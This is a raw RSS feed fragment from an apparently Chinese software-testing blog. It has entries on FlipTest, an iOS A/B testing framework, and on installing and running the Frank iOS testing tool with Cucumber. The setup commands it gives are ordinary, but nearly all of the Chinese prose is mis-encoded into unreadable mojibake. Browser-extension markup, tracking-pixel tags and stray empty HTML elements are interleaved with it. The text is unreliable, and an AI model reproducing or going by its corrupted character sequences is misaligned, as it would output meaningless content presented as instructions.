value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.67529968.com/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2014-12-23 00:25 <a href="http://www.67529968.com/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>Fliptest鈥攊OS 鐨勫簲鐢A/B娴?#29831;曟鏋?/title><link>http://www.67529968.com/qileilove/archive/2014/12/23/421666.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Mon, 22 Dec 2014 16:22:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2014/12/23/421666.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/421666.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2014/12/23/421666.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/421666.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/421666.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">銆FlipTest鏄?#28051;?#28051;篿OS璁?#29825;?#37928;?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">绉诲姩</strong></u></a>搴?#37922;A/B娴?#29831;曟鏋?#38171;岄氳繃瀹?#38171;屽紑鍙戣?#37721;?#28000;?#37827;?#38343;閲?#37826;?#37722;慉pp Store?#24385;浜?#25652;?#37922;?#37812;?#38322;?#37835;?#28000;爜锛?#37721;?#38343;娣诲姞涓琛屼唬?#29212;锛屽嵆鍙洿鎺?#37734;iOS搴?#37922;?#28051;婅繘琛孉/B娴?#29831;?#37510;傚?#22317;?#35826;姩搴?#37922;仛 A/B <a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;?/strong></u></a>鏄?#38344;炲父?#27622;鐨?#38171;岃?FlipTest 鍙?#28000;?#29999;?#28003;犵畝?#23538;杩?#28051;繃绋?#37510;?/div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50130" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171457151Lj7o.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">銆銆瀵?#27996;庢兂瑕?#26473;芥眰UI鏋?#38007;?#37928;勫紑鍙戣呰?#29815;锛孎lipTest缁?#28725;规槸鏈鍚?#38315;?#37928;?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;曟鏋?/strong></u></a>銆侳lipTest?#32048;涓哄簲鐢?#38315;夋嫨鏈鎭板綋鐨?#37922;?#37812;风?#23684;潰锛?#26473;樹細?#29056;浜?#28598;?#29785;?#37510;?#37721;?#37922;?#37804;?#32475;?#28028;?#28598;氬?#29365;礌杩?#26473;?#23092;?#29831;?#32513;?#37835;?#38171;屼?#24228;屽府?#23018;?#32017;鍙戣呭交搴?#29785;?#37712;砋I闂?#26864;?#37510;?/div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.67529968.com/qileilove/aggbug/421666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2014-12-23 00:22 <a href="http://www.67529968.com/qileilove/archive/2014/12/23/421666.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>iOS鍔熻兘娴?#29831;?#23480;?#37711;?Frankhttp://www.67529968.com/qileilove/archive/2014/12/23/421667.html椤哄叾鑷劧EVO椤哄叾鑷劧EVOMon, 22 Dec 2014 16:22:00 GMThttp://www.67529968.com/qileilove/archive/2014/12/23/421667.htmlhttp://www.67529968.com/qileilove/comments/421667.htmlhttp://www.67529968.com/qileilove/archive/2014/12/23/421667.html#Feedback0http://www.67529968.com/qileilove/comments/commentRss/421667.htmlhttp://www.67529968.com/qileilove/services/trackbacks/421667.html銆銆Frank?#31683;鏄?#28051;娆炬繁鍙楀紑鍙戣?#37728;滅鐨?/span>iOS搴?#37922;?/span>娴?#29831;?/strong>妗?#37835;?#38171;?#29831;?#22935;?#37835;?#37721;?#28000;?#22959;?#37815;?#37922;?#37812;锋搷浣?#28725;?#25652;?#37922;?#32459;?#25652;忚繘琛?/span>榛戠洅娴?#29831;?/strong>锛屽?#26421;娇鐢Cucumber浣?#28051;?#38007;劧璇?#29815;鏉?#32514;栧啓娴?#29831;?#37922;緥銆?#23005;?#28598;?#38171;孎rank杩樹細瀵?#25652;?#37922;?#23092;?#29831;曟搷浣滆繘琛?#29825;板綍锛屼互甯姪?#32017;鍙戣呰繘琛?#23092;?#29831;?#37733;?#26916;?#37510;?/span>
銆銆涓銆佸熀鏈?#28000;嬬
銆銆Frank鏄痠os?#32017;鍙戠幆澧?#28051;嬩竴娆?#28729;炵幇鑷?#37716;?#23092;?#29831;?#37928;?#23480;?#37711;?#37510;?/div>
銆銆Xcode鐜?#28583;?#28051;嬪紑鍙?#28729;屾垚鍚?#38171;岄氳繃Frank瀹炵幇缁?#37835;勫寲鐨?#23092;?#29831;?#37922;緥锛屽叾搴曞眰璇?#29815;涓?a target="_self" style="word-break: break-all; color: #202859;">Ruby銆備綔涓?#28051;娆惧紑婧?#37928;刬OS娴?#29831;?#23480;?#37711;?#38171;?#37734;?#37733;?#28598;?#23480;茬粡鏈夊箍娉?#37928;勫簲鐢?#37510;備絾鏄?#37733;藉唴鐩?#37711;?#29863;?#37826;?#37719;?#23011;?#26440;?#28751;?#37510;傚叾鏈澶?#37928;?#28028;?#37904;规槸鍏?#29825;?#37812;?#28000;?#37922;?#37908;熸倝鐨?#38007;劧璇?#29815;瀹炵幇瀹?#38340;?#37928;勬搷浣?#38315;昏緫銆?/div>
銆銆涓鑸?#38000;?#29815;锛?#23092;?#29831;?#37826;?#28000;?#37922;?#28051;涓?feature鏂?#28000;?#37724;?#28051;涓?rb鏂?#28000;剁粍鎴?#37510;?feature鏂?#28000;跺寘鍚?#37928;?#37828;?#23092;?#29831;曟搷浣?#37928;?#38007;劧璇?#29815;?#24383;杩?#38318;?#37714;?#38171;屽唴閮?#37721;?#28000;寘鍚?#28598;?#28051;?#23092;?#29831;?#37922;緥锛屼互鏍?#32475;?#38171;@tagname锛?#37928;勫Ş寮忓敮涓鏍?#29831;?#38171;屾瘡涓?#37922;緥鐨?#26851;?#29723;屽繀椤绘湁Scenario: some description锛?rb鏂?#28000;?#37714;?#37828;ruby瀹炵幇閫昏緫锛岄氳繃姝?#37714;?#29723;揪寮忓尮閰?feature鏂?#28000;朵腑鐨?#23011;?#28051;鍙?#38007;劧璇?#29815;锛岀劧鍚?#37813;?#29723;?#37929;?#25652;?#37928;?#38315;昏?#25118;搷浣?#38171;?#37832;缁?#28729;炵幇鑷?#37716;?#23092;?#29831;?#37928;勭洰鐨?#37510;?/div>
銆浜?#37510;?#28729;夎
銆銆1.       Terminal 杈撳叆sudo gem install frank-cucumber,涓?#26462;藉苟瀹夎?#21276;rank
銆銆2.       Terminal 杩涘叆宸?#32459;?#37813;鍦?#29882;?#23536;?#38171;?#23480;?#32459;?#37837;?#37929;綍
銆銆3.       杈撳叆锛歠rank-skeleton锛屼細鍦?#23480;?#32459;?#37837;?#37929;綍鏂?#23524;Frank鏂?#28000;?#28598;?/div>
銆銆4.       杩斿洖Xcode鐣岄潰锛?#37721;?#38335;甌argets涓?#37928;凙PP锛岄夋嫨澶?#37714;?#38171;孌uplicate only
銆銆5.       鍙屽嚮APPname copy锛屾洿鏀瑰壇鏈?#37722;?#38171;屼?#23338; Appname Frankified
銆銆6.       鍙?#37713;APP锛孉dd Files to Appname……
銆銆7.       鍕?#38315;夊壇鏈?#38171;屽叾浣?#37721;?#23057;?#38315;?#28729;?#37510;?#38315;夋嫨鏂?#23524;?#37928;凢rank鏂?#28000;?#28598;?#38171;孉dd.
銆銆8.       閫夋嫨APP锛屼腑闂?#38318;?#37714;咮uild Phases閫?#26916;瑰锛Link Binary With LibrariesàCFNetwork.framework锛孉dd.
銆銆9.       渚?#37827;腑闂?#38318;?#37714;?#38171;岄夋嫨Build Settings閫?#26916;瑰锛Other Linker Flags锛?#37721;屽嚮锛屾?#35826;姞“-all_load”鍜?#8220;ObjC”
銆銆10.   宸?#28051;?#29785;?#38171;孲cheme Selector锛?#37734;RUN鍜孲TOP鎸夐挳鐨?#37721;?#26440;?#38171;岄夋嫨Appname copy-IPHONE
銆銆11.   娴?#29785;?#37731;腑鎵撳紑http://localhost:37265锛?#37721;?#28000;?#37734;?#23092;?#29785;?#37731;腑?#28229;鍒版?#23941;叆Frank鐨勫簲鐢?/div>
銆銆鎴?#37734;?#23075;诲姞浜?#28051;?#28051;猣lag涔?#37722;庤?#37828;?#37814;敊锛屽皾璇?#27996;N绉?#37826;规硶涔?#37722;庣储鎬叏閮?#37714;?#37818;?#38171;?#32513;?#37835;?#28751;?#37721;?#28000;?#27996;?#38171;屾棤璇?/div>
銆銆涓?#37510;佸熀鏈?#23005;?#26976;?/strong>
銆銆1.       terminal 鍒?#37817;?#37714;癋rank鏂?#28000;?#28598;规墍鍦?#37929;綍
銆銆2.       frank launch, 鎵撳紑simulator锛屽紑濮嬭繍琛?榛?#29825;?#37828;?#37922;IPHONE simulator,瑕佺敤IPAD simulator?#26882;锛岄渶瑕佸涓嬪懡浠?#29723;?#38171;屾?#35826;姞鍙?#37825;?#38171;歠rank launch --idiom ipad)
銆銆3.       cucumber Frank/features/my_first.feature --tags @tagname 锛堟敞鎰弔ags?#22688;闈?#28051;?#28051;?#8216;-’锛塒S:濡?#37835;滄病鏈tag鍒?#38007;?#37716;?#26473;?#29723;?#37826;?#28000;朵腑鎵鏈塩ase


]]> ͼͼֽӡˢ
<optgroup id="iaykq"><small id="iaykq"></small></optgroup>
<menu id="iaykq"></menu>
<bdo id="iaykq"><nav id="iaykq"></nav></bdo>
  • <optgroup id="iaykq"><small id="iaykq"></small></optgroup>
    <menu id="iaykq"></menu>
    <bdo id="iaykq"><nav id="iaykq"></nav></bdo>